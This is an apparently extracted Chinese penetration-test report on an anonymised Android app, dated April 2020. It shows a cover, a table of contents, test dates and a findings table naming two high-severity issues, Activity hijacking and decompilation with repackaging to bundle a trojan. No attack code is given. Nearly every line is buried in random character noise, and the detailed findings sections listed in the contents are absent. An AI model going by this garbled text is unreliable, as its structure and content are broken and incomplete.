4 P: b" T3 C. R4 `: Q' f) O5 N& Z% i( r
) l- Z. ?5 c# }0 F) {9 r 4 D! f1 @% y8 `8 [( M) s! K7 L
% f' d7 D" E7 a1 ]: j* I$ l
9 _. U: l- W& j* f, H" K$ M, z; V s+ Q: V) W* X/ x( Z( f
2 w$ O8 E' [0 g. E9 \
^7 e1 D! ?3 J1 P( T
2 \, i+ I0 N4 a5 Y- `, Z8 g i0 E1 Q1 y; P% Q! |' w/ e' j
l5 }8 Q. {. M( A
) x5 s6 S* {0 Z* V0 M$ T8 M3 I8 { 文档编号:
1 m- I& v8 ?3 U
" p/ d& y0 M! Y2 Q0 B) \5 y X+ c
& a, j$ y9 z: Z/ j: [- {
1 C6 b$ B$ L, S; V& Q
6 H, D+ c* H6 C# E1 v- R
- l; I0 ^3 A+ j% A
& `( l5 Z& _; j- T9 `* F5 O9 J5 u) S4 M& `$ a
- J3 m8 y# @$ y5 c
3 [/ y5 v9 s# n9 t
7 e; \/ Y; n/ j5 _2 p1 o0 K
0 q# M5 q% I K1 V& c, p3 y4 X & M( C) E! ?7 w. {3 t
G4 B; H) W+ X% c
) E" q }( k X! U R/ E( c
5 y% i1 G" t1 V' }
4 ~, m, Y- Q2 ] E# p7 X/ U+ I" j: P% m0 }/ M
$ O4 C1 K: i ?# x" D6 h4 p
' R& S5 d5 l. d8 r
9 w" i" T/ D. |; e7 {, D3 C7 K5 D: Z5 Z" a* ?; ~1 u3 G7 b" a
+ b% E z; L+ D. w+ f+ Q4 O( ~1 P
k4 t7 s+ D$ S$ h" ]1 l ; T, z) r2 U$ U5 _/ I# m1 \
! a2 ]4 G1 `) m1 Z6 g+ @
# ~; o2 l5 s' y; l6 u2 G
; s" ^7 U9 u& k5 y
1 W9 R S& [# E" M6 f+ d/ {
$ x8 w' G, A4 G: H, b; g$ | F1 U
. S5 [2 \" D E/ E9 S, A+ `! k
. I( K: C, e' \9 ^9 ~
- B6 I" L* }1 }8 J
8 p, z# F& d) j2 t7 m
9 y! U9 Y: i: G; S2 b$ @: T
) n) R" {, r1 R8 h; e3 X A. a 某某某APP渗透测试
- a, r6 w) {& t1 Y& @9 b5 ?. x( m- d
( G* e- U, Q. F7 n! Y, Q
, e2 E$ a$ f; ?; C
" x- j+ H+ W0 n; S, ^9 U! n
. a) Y+ z& y6 s, X
* m6 }* g9 q2 p x) m8 e8 n* g; [2 r' S+ e" z6 ~
+ B- f$ X: d3 B: c6 v; ^9 x( D! l( j2 O" k" f2 }7 L/ o
7 K$ Q! A* i$ n9 ~& H+ ~
; h& L6 y, i! W8 K0 R# l
/ g% F9 @. I" d! P- t0 k: H b% u
1 Y' h* S& }( a( E
1 G5 }# ?5 t1 N+ ~
6 m" r+ x. Y; @( ~) L; Z5 Y/ n3 {$ ~4 `+ B
6 u2 I" L' M) w+ M; m' I8 _$ g0 u6 Q) _# j1 i
' r6 t" x$ R" I
4 ~- d4 z, M: k. V+ P- \
9 @, L; a3 j( ?3 H7 x
$ p* k+ y5 ?3 p7 ~. Y$ o) C$ n * O- g' m' G% S* m
/ `- W9 N1 G. J5 I/ y" g% L
3 _; A; _# ~5 m. {# l5 \# g1 O4 {$ ^4 q
0 p8 g) X4 P+ e; i$ x. N4 Q
& H" B8 B) w6 ? s+ @2 ~1 d/ b 技 术 报 告
3 [ Q- n" J7 O/ e: G7 Q/ r6 Y
' w) j" s) T3 r% k( T _/ f
; R! Z' [8 L2 j- [, H
G6 R( ~- J( h+ h5 ~: ?3 K6 z) k
7 D- Z% k8 x0 }- A& n/ u4 M; x
' {+ k! f& L) V% ~4 Z$ A6 [, c* p' t
" O1 u; `% }, c5 P2 Q
% o* y) O% l2 c4 t2 t
3 W" X2 J1 D2 |% L. g& P% e
- l4 a- U* @3 b
% w) g. g' J) v ~6 f* }# \
% A. c% P3 `0 k5 K
: y6 t; M/ I8 U: p$ Z8 S4 Y! I0 g9 d4 k) l. c$ p; w+ I0 Z
4 }* `/ ~ X8 _7 Z
2 l0 q2 | X5 n0 J3 r" J2 J + ^1 `7 f# i$ G
[1 U* n$ U, S# d% B% h . n6 C" G$ c4 u8 i
: c9 {! S* p/ G$ ^9 N( D8 X
3 P: m2 B4 F9 b+ v
! I6 F) ~% g$ U, h a5 n
4 z" }( t0 T; w1 z
! f1 s4 @6 p0 J% _2 _) r$ {4 V
$ a* p& P$ v7 \* N0 o- @
6 \$ X4 W! H9 G; y( Y
+ V Y$ u$ r2 G
/ _* r5 n0 ?9 l6 t: ^1 A* z8 r
% k5 m, w, B4 p+ O& }& Q3 M
0 M5 [3 s5 C$ |* i& z1 C; N! x4 _3 X
5 Z N, u" C) D5 e9 Y/ @& L$ D- g: Y* E& [
! p+ }$ B( X2 \- D2 Y
* i! V/ U8 d- P
$ u2 ~+ ~2 P5 b* n
$ R( i b- t* y2 s9 E) ~
. r: ]' K$ E6 C2 s3 t
2 G P8 K% @: h. Q9 [% Y4 t( [
: D& l$ B& [# { C8 ~ b
2 \: @9 M) d( H$ O* S. P6 b! V; k
* S: I0 q2 ^4 e! h# g; C* U
' v& R) V' Z7 {' i ! {- ?3 j9 q+ c* s
( B1 L0 r' y4 q7 _* p' R+ r* y. o: v
7 i- h9 |& D, s8 i" L& v
: z0 ^ |; [' t* Q7 X. x
4 E- U0 |, J8 h( _8 V' k8 c. v( A1 A
9 v2 e, t: A' d2 Z1 J9 y1 s 6 x3 Y" B, T! x" |- C
; E4 S! k1 d% W H
9 Z% ^; c1 }1 D
8 Z* q; n) w! b/ D
$ R$ v) m2 E r! R7 H, e
; M! F0 g M/ ^% H 2 ]( U3 k; C/ s& s* a" R- i
, L- Q% o% x: P `7 M
! f) ]/ m3 _; L
( a6 N V6 j' }2 b5 D) r! B $ q+ L2 ]7 @' X7 H
% x4 L1 T( q1 ?0 {+ f: q3 q8 g 3 d q; B$ d e% G- C7 ^
$ \. t+ g6 g' H; V3 K& T
5 _( j; I- [1 R& E/ {$ p
( X: E% t9 O" M' Q
3 t$ H- K. b1 p2 I: v) l* u0 R: r, r
" i" I7 S7 e# L: L& N r, s 6 H, F$ Z( T$ ~& W4 A4 e
" h/ q2 I* w7 w/ u5 a
7 ]1 D4 D: K, X5 Z
3 K' v8 L9 j( o: v4 |9 F - ]1 H5 \3 N& L2 {7 U8 N
% M0 @$ Y/ ^' K+ E
7 T4 x9 ~$ H I" _7 U# P9 ^: W
) ^5 f0 J$ C1 [
$ n ^6 {% s) P9 h. _3 V) m
, d5 W# N: m, E3 g; q9 v. e
/ G- P# [" Y0 K1 R# e e+ B
( H# E# l! ^ V
( S) w" ]! N* w' J6 }- Z1 ?
6 [* ?, S* T% o' Q: ?$ w
- b* t8 }6 Q) m8 a5 C" n: g0 }
9 F) R5 {" A, Z$ n
; W. n. x4 q- |* _3 P0 D) `
6 t: G# W; g; k+ @) t: W
5 v2 J5 h( W. o, ~ l7 M( r$ R$ t4 n: o
5 B0 P% j4 E) D% r0 Y1 w! I2 i* y: l& B2 z
: ~! R y( t6 V& H5 A% d/ G/ Y" ]
5 _/ b$ ^2 K+ d) ]' }8 L
1 `0 o X1 s1 n# r# ]- X; Z% H
" e" k7 l" N5 z `
' N$ v% M! b1 n! I; n" S
7 a* [' s# v+ t H9 R
' J, g) a% d# T& I# y7 u " A9 _* G4 C: e- E
9 i/ n6 r8 b; O. b3 k% G
1 A! |% L$ |( v
$ X2 I- c* Z/ K% f5 X3 j- i9 ]1 p
( \# Z# G( Z7 [
; G% _ X& V8 c6 _) y7 u H/ G
% n4 H4 D. M, |7 c J7 `/ g7 F1 F; N5 r9 l: ^ p
; Z) r# Z. I: o) U2 h
( U& j$ y l& y( F8 v ; x' A8 j* \$ S* s0 _; x' i
. ~! z* K/ _: x* U
R) H, b6 D3 x) U4 ^2 S+ T( K. C% w) e# @* N$ T
& { Z9 @: j: Y* c$ P' G+ T2 s
5 h8 M* B! M# q7 v ? , ^# {! v0 p$ u
4 A' f2 ?/ L# k# F- b- n2 {8 M
二〇二〇年 % v7 P# _- z2 J
: ~2 e- G& S+ G: @* |6 L# x% M
% f! Q8 Z- }, j& L1 K y, i; s+ k- N
2 ?# J* `6 L4 q! H; C7 b$ ^' h
4 K; y+ U. C/ m6 z$ `
, D' \% b( m/ z6 j) D. _
3 d! \. f% f, } h! P9 h" i" D) D 2 ^( v/ g) M1 M7 u, K( s
2 {3 A8 W$ e) m / `8 J- g. T) B [
! }" ^" F% {( _6 L" R
4 M$ R) G; R# ^7 O
% s1 P2 {2 F5 Y. p
2 f7 P1 D& C4 O% C% p
7 V- [& r, o7 r. y. m
' @/ \" k4 x" P
{6 j5 [: R& A4 f6 \ ) X- j% _" R0 Q3 t8 a2 e7 x3 ~
2 W. R" J- `6 y7 H5 E6 J! W
' u0 \3 t6 d; f
, k0 x/ ~% s0 A l 目 录
4 W. P/ U8 |8 S2 T* _
' `5 E/ w* p# q; F
0 n. d% \ F% Z2 c% K d: q+ X6 J
) a$ N6 e( P9 q" U, v 7 }4 b* c0 Q) N. j& {, z
; Q6 q: u2 W9 `' S% r3 }( v: `# Y ' q$ m! x, K3 t6 H: x, ` w9 R
$ O% ^ y+ x) F* x+ v2 T& p
+ z7 e5 t- S1 z' e n$ k0 n! l! r4 x: j. S1 m( _' G9 b
% _$ F! v' i3 Z6 D
9 E0 A/ L* R V3 a( l1 P4 f, m ' k' Q ]9 q' b9 O5 F7 s
+ }3 }1 n* v5 l4 l( i" j7 l; G. | 1 概述... 3
* R$ [) c, G4 E8 r, f+ D
, S& H. ]2 J- U3 \( y: D$ p! X
9 U# B! L. ?& a7 M; Q" f
' z4 b: w7 [# b/ ~3 Z 1 _8 {& O$ ~) z- @) ?1 {' g
6 q3 X2 N8 q5 `# @' v 1.2测试时间... 3 $ o5 [; ~* p$ j% r
, g0 H7 o' m% ?: v0 A
8 b" u! ^2 V! r1 Z' ?
1 m- X7 o# J# x( J4 H. r. p$ j
3 ]1 T5 e8 ?( U
' L+ x o+ N) `- @ 1.3测试对象... 3 ' ~: Q; L3 ^+ l" e
4 k" g# k' e/ A# `' l
! \$ ~% Z& M0 {+ k* f( G
" ^6 r: R* j/ Z6 ?% V+ K3 `: Q " |% @7 k5 t' I7 B. v. U+ u
) w2 e6 r5 c+ D% P' e/ c
1.4测试结果... 3
& ]( k0 h( q& |& ` r0 _, _5 r6 ~3 U
8 G% C" A/ {' w1 _: S
: D4 Q5 V. q" s. \: V) N7 G* y
5 k. F! A7 g* t8 o4 q8 h) p9 y
/ a: F" Q( c. m9 J9 ~
) P& P1 q: k, C9 S' H 2 检测结果... 4 : q' q5 N0 X' S6 F! H
$ z$ |" H9 w, [% b
- h: l- D$ z& z/ n" J
! W3 f% p' @7 |* A / J. z) u4 D8 [& C2 s$ p9 ?' E
k2 ~/ @( V& y8 _4 X* K
2.1 某某某... 4 a `+ h& A! k, {7 F$ i, _6 X& J
: m. d! O. k* S/ w1 R8 a7 {
$ W, H7 t% M# o3 f, }; R
+ D$ G+ M8 I* \9 q$ y% } - Q. ?* U ?3 I1 u! |
& O H! N6 ~; q6 Q+ X 2.1.1检测目标... 4 ! [0 h" A% h0 k. P7 g$ w, U1 w
. F N% B! u* a8 q9 B) _% V1 l
2 S' P% O8 S/ _0 V. J0 k8 f! u u
- y2 n: q, [# l3 f2 U6 k9 n
- H3 }: p% Q, z: U/ U+ ~. L- I8 n L- a; U6 Y# ^
2.1.2检测结果... 4
# n# Z+ {4 i+ b/ u8 l
( c" p( J( X8 p! q" |, l
. |& |$ `0 c/ x8 [' t
) |6 j- V& l+ e5 C- [8 g
) |0 u) h6 e5 G% q
; i. Z: x2 c1 N9 U- v0 N 2.1.2.1. 4
: ~- U$ z+ V, I/ {: L9 T; f' g
2 Y4 k8 h, j, P8 |( R" S) D/ D7 b
* l: W* u2 k9 a) e7 l# O2 ~0 \+ _
* b; Y$ l, C( C; F+ m 2 C% X# C# _6 U$ A
" G; J% ?9 g* g4 ^
2.1.2.2. 6
% h' R8 R+ i/ R1 G8 [9 \2 A; @3 _2 Y* N$ E/ ^6 E- e
' g& Z; x. b' I2 ]# A8 j; w$ D
2 ^4 t) @; a3 @/ E- f
8 r5 B* a3 W+ Z% a1 ]
7 G3 N I4 g. `) ]& t5 O
# |; T+ D* G/ `1 m. s0 L- C
1 o0 Z1 o( |! _- E @" v9 Y0 H
7 D" l0 P: y7 x5 O# O6 S
\( w1 _' d& t) @
0 J+ X8 }# d6 j# H) F
. ^* d5 N" ?5 M0 @. D9 |6 x+ K 5 u/ X8 ~5 n+ P# ], ?+ P) r
# G& E" h8 [6 E3 N6 u7 t; l
+ e% A7 h2 u: m y0 r" \* O
( `6 H, w1 N5 Y/ q" b4 h6 x7 a
, ]5 `5 x s1 w' o
! z a1 b& r+ ], F6 W+ n & O, c' _7 |% a7 q. ]
8 A# U" M- P- G 1 概述
8 M6 K% }4 g ?) w/ {! ]) N. c! E9 l. J" w6 }4 ]: h% k0 |3 T8 O6 h+ Z
, T, n* X' w7 h, _- H9 G/ p2 C
3 L) S+ R( r, L* R/ c2 |3 o" u
) R! S% v6 N' Y/ u8 L/ ]/ ?! f; f2 V) s; C
1.2测试时间 # {3 t2 h& Q& [) F: y8 h
3 ^5 N& Y3 c9 F0 i$ H
1 }0 b) ^. `7 J2 Y! C9 n
% R6 K! y! H7 J$ L. ~3 X' I0 q# I
8 K6 V* B! V- F9 B/ o3 T" T
9 _5 D- P+ C* D8 ~0 T " |# W2 y0 Q3 u8 Z
' o* z3 R0 R+ B* ]9 {7 P 0 J U: A: n2 q8 O+ u, s& b& x
3 _! M. d" E. v5 U: K1 s$ [
/ v6 S8 O ~7 T" _/ f
! s: T$ D* x* X+ H' x
$ ?8 l( L* x) A5 Q5 L
' Y) o; X* a1 G4 M3 j# z( b. e* c 渗透测试时间 5 q8 |( [! f( Z- i5 k
7 I3 i5 X9 l/ M& A6 B
1 R! d% m& O" O& N5 Q# C- n
- D+ ^' Q9 r% a8 [: [/ |3 N, ] | % E" u" h5 J2 y1 V- T0 z' X8 k
5 x3 R% w2 x9 k
/ P! }2 R6 p9 T0 @; @1 i$ z ~
7 \ }5 J, v2 q$ \! [
. k$ v7 x+ _% u9 k2 q
0 `% S3 q& o6 V0 G7 x
r1 [8 ~( a: y; f1 w
$ }5 b: x7 S6 ~( p; [; W
% j( r0 t4 h' @3 Q4 h
& n. i, R7 n2 E2 _- p 起始时间
+ {1 w( }6 q: c* @$ z& Y( M. L; c" x- h. K6 w
# Y: L0 o; V1 W' p/ c- Y2 h9 o8 L
' |4 Z9 ?7 O# z) n- Z1 k | : ^) Y( k8 H: H# F
" o6 t/ D# X+ w' Q1 q6 B1 d : B6 i0 h: Z& Q6 R f. ]9 Q
. a6 g2 g7 e5 m2 f* n ! ]+ C1 N& [, Z, `' z# j. T
+ X) K* g! w+ Y$ ]7 a5 c
2020年4月6日 5 `$ r3 L4 J* o9 K6 F
4 g* Z4 ?' `. d5 E0 b
, J7 R: o H' T L) ]
, V7 ~$ z/ P9 `# v! G7 ? |
; h8 w/ T+ z5 b" g. b; ]4 l3 u) E6 k
% b k( d9 q( h* q& T& P
; k, G( |( v! ]6 y& T" K" r; c8 X; w' d) Y0 u
, v2 l! v: T; C1 [/ r# u
6 `6 k# w4 r+ u6 ]" ^
' |( q1 y$ {# d( z8 Z
5 ^% t& d2 H' g& k4 h ' K8 r# T0 U1 \ k& ?* l
5 y+ n$ m* n& R4 b. Z
结束时间 & X" u5 A8 V; Z/ D1 u) o7 \
4 d$ Y7 p5 F* I4 F% C) N
* ~# ^4 e2 J: s: \- a9 [: J8 ^
3 c- e; B" ~3 B% v* g1 X6 m |
& @, s! s3 ]$ Z& y6 p* p0 M& b- J( `4 k: Z+ f/ M
' v% q7 |3 v: B, [# V9 z$ t4 I7 I1 U! Q& c2 t
( B0 g* F/ R. G R5 Z; A/ e) u- C
5 f$ f; s5 J$ z7 j 2020年4月9日
" T' T- l C% ?( c& X6 n1 m& t1 A3 x( d3 x
9 ~0 K4 P" g. r, \% n5 } p$ v0 R- o
|
8 [: ]: p u- a9 \, k, N8 ^. \& k7 j. F/ z/ a A8 s; ?
+ E3 b/ c! i( c- S
% X( V' ~+ i7 K* N E& Z6 R l3 k# z
+ y* b. a; b8 ] y4 G) ]& e1 G; G! G( s1 T4 y5 d
% ~+ G6 S' m- }0 T) d$ a$ H t$ g: L7 M6 U' q/ ?6 ?8 o- ?
, ?( `5 E: a+ ^' u& H: A: Y
1 Q7 ]% O" A! i3 C3 @# M 1.3测试对象 ! R' P9 m, N! e; f0 Y3 d
; ?; H: m" J7 r4 K6 K9 b/ l, R+ k
6 b: x# ~/ J$ f& H8 G6 y
* i* Q" s. ^1 C
2 ?, V' @0 q \9 c( x
6 E5 b% N; c- t3 B 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 5 C/ u7 Q$ l; l# O
3 j6 l q: d2 V/ j
& @: {' a% S' z, ?
N$ |% j" b& d; a( C. h2 Q: R# X $ X/ Z! R1 P8 F2 b9 ]' H
2 W1 x0 ^$ T! Q6 d
表1-1 检测对象
" o) N' [, J0 j# Q+ ~5 W1 v3 J! K5 o E- h
8 ~5 d) P. I8 A2 H9 ~
& v" F' q# U, F: k- m$ d: E # c& r8 U* J. g, r
0 n* ~4 Q* \3 ?* {- q) j
% W' v1 B9 p* ]# V9 S& P0 q& {. M2 k$ @/ _6 B6 L
: _7 k; ]2 b* n6 t
9 | ?, Z+ T$ f1 a: q, [ " E+ {4 A* ?" \- e; A% h7 r
8 B/ t7 n5 P T. e6 O' i" @9 q
3 A) l) `7 B) Y
" u1 `; L2 F4 m, t; a 序号
( r1 h, S( I/ { U0 f2 s/ S, g( @- a3 [, \' y
6 b8 ^) ~5 i) Q8 C0 ^8 n; R3 y
3 {- m4 g b1 U) ^ | ' o3 V0 k' t- I. R. o7 Z
* Q" ?: ^: l$ m. q/ h7 x
5 z. Y6 A; |( V3 f* T
' F3 X3 S4 T" y& w1 m
; Z9 [) g) d9 v/ H1 w" c4 ?6 X* j! y- W! m: v2 F
测试对象
/ e0 g8 g. y& p/ ~2 o
5 y5 ?7 C& L- h. n+ c9 Y/ { 0 c9 c4 W D8 w8 O6 J
) o% Q% `6 W7 H- R
|
/ v& T/ ~4 X: h
2 m3 n7 S9 P$ g4 Z9 Y* J ; M/ X9 H+ ?# x- q
3 e5 T0 p# s% a E ' X0 d+ T. ], q* O, y: d# p: K; f
& o; ?/ ?9 f: B# U 测试地址 % O% m T: d5 Z
8 Q9 ~1 v7 W) ?
, x: d% q# W" G/ m$ Y& ]% E
6 L# l2 y& A" C |
' B7 t3 S1 F+ s. o2 P7 z: P, |) s6 x$ P
; R% ]2 P# r" q" u$ n) T ( `4 Q5 ]1 r. b6 G9 F5 ]6 z
# m7 c" E- F- i1 C# g 0 d' V _0 R) p8 m/ B: K
w/ B* M, ]2 }- h 安全漏洞 * I: e' s$ ?$ y) k, c2 F8 O1 ~# e
; z; L( G% K* y' R( ` 6 S7 D L: j- W7 o1 b. N
% K# x7 ]0 u+ V" c5 r: h$ g |
& d- t: g ~$ [9 W5 ~& K; O' n8 B2 S+ K4 |, \7 L; g7 z
4 {0 l/ F% b$ V, l
* S9 l5 }$ Z8 R8 M, R
( P( h" Z1 K$ k B0 Y% W# p% I# t: ? y! d: j
+ U& o% e) o3 x W) I6 X! b
- B5 o! Q& N/ K* q
3 X/ K4 O1 C7 F1 R8 j" X
/ D d M. |7 u1 D! B2 q 1
5 |+ n! N7 y) V' ?7 T
& M: t. ^( b, r* V# Z$ S6 O * W7 j @# V6 ] |# u3 r1 A! G# {
7 T0 Q; l" H$ G1 i
|
. ]1 y2 m7 l+ x9 X1 [" s0 N4 M% X
- V! X7 m3 ~# D
* \# J; k$ \: r4 b8 W
1 i+ p/ A/ l, \: f6 N: I; Z, ~' {! f0 s4 |* }: T3 L
某某某安卓APP 2 e2 m) f' @, k
* a3 t1 M# v0 r6 k1 J- W" f' j
/ P: f2 W9 T, T: D4 r7 [9 E% D. }! c) t/ v0 Q# E4 t6 Q
| 6 N0 i7 R& _: ?# k7 C9 y
4 r3 B5 u, t" A$ l1 x
, ]# u" I& p$ W, S1 X8 x; o3 d( n. F: C: U
4 j1 l/ C" y5 e. `3 A- x
1 g" L- ^" y, G+ E
" o/ f) s9 e. S" U( f# {8 |* J1 l$ S# m9 `+ K9 K: \
4 [6 u; U2 B0 i7 ?: ?- z& r5 E% Q; P( K. u6 ]% w4 l1 X
|
& C) v6 S8 S9 ?$ b5 w# {0 D0 ~2 k' ?+ d" t" ]; W
4 Y: h0 Y9 ]! D2 v( ~
1 Z, c7 y! i0 f
% g0 p9 m5 n. B+ B/ `' V/ P4 A& n, v! o( o" M
2
' E H# l! o* Q3 Z$ Q2 d' L( r* T# S1 [ A* |; R6 z
) `0 E) m: V1 O6 T) ~; O: X
# _6 D0 Q0 ~5 {5 P( P6 y/ K$ p% u& a% x7 H | ; }, E. c/ d# P
; f4 `4 L( _- ]6 y4 Y
( {+ E$ y d1 G# e, l+ o
2 o+ _3 o% s/ }# h0 [+ X
( t0 ~: V x% ^9 Y1 S% ~3 O4 ?5 M0 S- F
/ V0 r0 ]9 D2 c! | d( W
0 R% \1 C, I0 H& ]+ K* D' S; M
; ]$ H$ Z+ U) E; b* j. @
& u3 x% G$ v2 N* _( T
0 r N) k+ r. k6 {3 I' j, b, } 1.4测试结果 ! x1 O6 l5 j+ C1 w2 [
d5 W# }( Q$ [ ?
, {5 l, p4 {* C* z$ k
8 ^: ?( I5 R& R% `/ @0 T- _
0 l1 K! f) J+ \7 S
1 H6 H3 @$ H. |& ^$ d 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
% z! m! w+ M5 J6 U5 }5 c" }) b' q% K2 d! C# c8 l' `: M
8 ~5 I$ T) @, l$ L+ G
1 S( T- ?5 f# Y7 b G j, o% _4 F- K, J* W3 _6 G
; V7 w- i1 Q u, S
* {& k6 V ]5 ~( z# Z' i! q! J4 q" r+ b' F
3 h$ Q* R, n# p% Q1 @
+ [! q; @1 L: p- F 5 E( B, u L6 E+ Q9 D( K
- e/ \$ j" K7 J0 T, K 5 E$ ]$ S- d3 x! G( Q
' G' A' X3 B9 W% G, w- \2 O, @ + D; C$ A. Z) O& ~
( l+ o! [# q }; W
9 K D- N" k/ Z. x+ C( [* b
, T# m! L2 d1 t8 E 4 v9 B* H9 |1 y% k
; E' u2 k2 O* S" k* s; ]& _$ D
/ C% h4 K+ V) x1 I0 F5 U' P9 f+ C
序号
2 Z/ O6 v3 _0 s* [0 w3 P- p( ^. o& h& s$ Y& ^
! Z8 B1 r1 W* g( v
W& U2 l/ d1 y: A6 l |
2 {. a8 o! {; d1 p
5 s! D+ f$ J) O: F- l 5 r$ u3 m- g' p( m
/ O) [, _! e- N9 }) b$ z Q ; l, A6 ^; R! T& v3 w' ~4 }
2 u% ~' Q) b0 X" b6 Z0 Q) {: r+ J
系统名称
$ C& P: z- [/ x1 I
! y; q6 M& v9 [' v / [: b& Q0 Z, ^
8 o I* R; @3 J; U1 t' D
|
8 W0 G. ]* l$ J2 _' z( } y6 |0 k3 h3 d, {+ o
+ q# O: [2 U" K0 }; `. i9 ~+ ]" D$ `
5 |) L o6 \0 L5 b% C* l" w$ E
' c+ N! K" S# ]
2 t; y& Y! Y9 F& [ 漏洞名称
6 L N) l+ b+ r/ P# [8 |# [9 d- d
! C: t5 }( h* I, L+ ? 0 `& \9 k9 n' A$ m/ _! S8 W
' T: i: A. i+ a5 c
| 8 I+ T; d" T/ v" z! a9 m
G% z* s5 n& w6 W1 h- }
* x( k) }# {/ Q; |3 V" N
7 w% e w0 x2 M9 g+ r
r* I2 A/ N$ X' s8 {8 S+ }6 T+ e# T q1 q$ b3 `
漏洞危害 : G, z% x. p/ _. O& K9 u
# x+ m5 Q3 s) f" C
$ n" [0 E. Q) h7 S3 q! p, m* p% V, o j9 _
| 6 w! W' n# T% V( d- R" W
6 N p" e0 s" F$ ?9 r4 e) |
: H2 U! M1 O, o/ j2 j' w& a
) [9 I. [6 S* Q8 s0 j2 s3 H
* M5 ~/ P8 k9 }
- e) t& \- K* C/ R1 y) `! X 修复结果
* M- L/ U g& t/ B$ p/ j; l' p4 _) K. f+ J/ \: s
3 ~ K. Q* f+ e' w& w. C& Q; S+ F
G# _. v4 O# R, E |
% T1 V# m! D4 o6 {7 u) l+ {
9 ^$ p; _+ P5 g& m
6 t* J- a% I2 x) M @- m- q9 t. k! h0 t9 s
1 k9 J6 @. ]2 ^) k+ S# Z; O: G
9 W$ u" ^, H0 h. f. t ; o7 j7 {9 X: ~, t/ l& o
% c7 v" D3 D# L2 O- }1 r' I
; E! D4 F% J6 Q6 [5 C& A# t: k" `) q: b% M
1
" P& i0 A% ^* e
" L- ?: _. J. g* P1 @, B # l- X) p* U. ~1 j6 g0 c
1 _7 L; T, X9 {9 C ?, P
| ) ]+ O. V( ]3 r& l
: i5 U6 e# N! B n3 }
8 K5 c2 L" t/ C8 f+ k- I; l$ Y6 q) \$ `* C# k& x4 x( ?; A' S
2 |, x9 V" ?) X0 Z) @0 ]
( W3 m/ a- X4 e/ B( X4 s) U
某某某某某某APP
% P; a# X& ^1 f' \# I. {0 k q; o' l5 v" V- r6 A
# W5 V$ X: U- Z2 @& U# \2 \
& Y! U: c1 Q% Q& ^4 o& ^$ _* f1 N
| 8 d- v7 f! D- [% m2 Q' M, Y* I
8 d# U* W. ` u& Z% U9 k5 m
1 ^% I" b* q- ^6 R f$ `- r L+ J R: S2 S, R- d/ [
' o. p" W- S6 \
+ X0 m. D/ m3 H, v
Activity 劫持 " N1 m% Z f4 M- A2 Y2 r! Q
2 f2 m8 Z7 m: Y6 R/ S2 ` 0 G1 x D. g; ~% B1 ]' o+ ]8 {& Q
) l- u8 K& g# D* y7 @0 F$ ^/ w
+ Y$ J) X% \- [/ P* E" g+ E
5 j3 @ P; l0 I5 Q& \5 z+ n, r0 m: ? 3 r+ n- l: v1 E- V3 e
- H1 y/ A, |/ ?$ e7 V7 { ' o4 x) ~, @5 N6 ~$ t( a' ]
$ I4 F5 R8 U/ R8 a# O | / h! j$ k" r2 v) B3 |. b4 A0 g, q1 Y
) w2 O$ j, S) \2 R. w) I2 @* H; S1 Y
+ O( j! B" C0 y# c( g O
2 V* @: ^: R) j2 i7 A
* x) I2 l4 R; M* }; u- R
' L+ I, g4 k6 r5 w6 E( g& b 高 ! _) T0 D5 C. ~5 _( Y! w/ J! i
- j. A3 R/ N o
# [$ ^4 l5 y4 B; J
u- I* Y7 `* @4 T1 Z5 x8 d7 x& k
| , m+ @& Z/ r- x3 Q& W
F5 G e5 d9 }. O8 v( X . i/ l4 T& b1 P( n+ ~
- L9 j/ v" a! M 2 t8 i/ S4 Z2 u K" P
, F% t* e; t l4 I
4 z9 h0 n% g- X! z
0 k. ~! G- e5 I) c
r' j3 @5 t! b: p' _% T
6 A2 I) \" T' D9 i* s7 P |
. I$ v; p' o7 X d0 w' E( n# j( |
' W; A1 v3 V( M. H1 x" t
! e5 B5 U" `/ I+ ?- @: a7 s; u0 S6 g8 z: m5 X m7 v1 `0 G6 w
z8 d/ ?# W5 `8 e7 d
9 J8 [+ Q* E; k% K * ?: d! [- D. {' k% l& `* j' k
9 A/ q7 H6 s! [& m 5 J3 S' ~. s5 p: C6 D
5 V/ g2 {& G+ I9 Y
2 4 k" j9 x7 G% l! N. H; l/ M
E3 G/ t% v$ x* a+ i1 `% {
3 Y% _ h% {. X8 G6 G1 @4 i+ y
9 B4 O; q; Q0 n% {( @, _8 T6 ?
| 6 ]: Q* E5 a8 R% z0 b' L
0 U; I+ p7 m" e
3 b4 l6 Q6 f4 p) A/ `- c1 f; {0 p( I6 u P# W1 M8 b# d% [7 w _1 b
: R7 B/ b# x1 G9 O5 B2 S- ?9 c
4 D. ]8 n: f) u9 }- D 某某某某某某APP / B4 L. _$ q/ b
1 O" M8 D7 }! G- u9 } 1 R/ N3 U. n: R, u
; w$ {* p% M( U" V* L | 9 c S. X$ b- f5 N- t
$ K3 r, K% ?/ b5 L
; Q* C- e/ z5 w5 ]' u" r" K1 m+ D1 A; v& O
/ z- l; q( A& l, @ t
6 U! G$ u/ V6 X) ^+ Q: u/ y! h 反编译二次打包捆绑木马、篡改APP代码
' [9 I& z* h, j% H
' ]* f3 M( ^- T, s
# F% z |$ H$ E% D/ D2 g8 V* h8 t8 g. l0 f: X8 H8 Y- `) X$ \+ y
|
5 y* A! C" u5 T& N- p6 ^
8 h: f4 [- k* P% S6 {% W- i. |9 C
, K' c5 t6 @" \, ^* C8 c( u" r3 e" C( ~0 A: `& n
4 M& w7 _9 @. `0 R8 ^5 j5 C$ a
2 t9 V- _, X) b0 J% Q8 c7 \
高
4 j! Y- F3 ^ c" y; b, S5 s S) u: U8 K) f. A# d' p
1 K$ i" a" r3 P* e
; c; f& I: ^! [7 m7 y | 3 V: y# b0 O3 Q. o3 z3 ^ b, {- E8 e
; S' x& Q3 \/ h: W 3 Y. I: t/ V. }# I/ z
. u3 {) c4 T0 S' {1 y6 y
& ]- H+ B- x' ~3 T
% G% y2 R* ^+ o3 N. T. X% U
2 b+ q6 G" [; m. Z
& V( |! V! X, \8 ~6 P+ B
/ y6 V5 q: L3 A/ g% V( w" _8 S
% a" r4 y( S% m | 0 j/ ` R4 M0 y4 v: P& F
5 [* \2 W2 p, Q6 {3 L. k @( c
0 S7 q4 B1 u1 z7 P5 \2 T7 P& Q
6 D7 h* w: B4 W i " O; N* w4 L& b" b7 b- L% S& i, y
2 |7 d: V; m0 y' ?4 F8 y
4 T" \# l3 [+ F! j! u" q* S
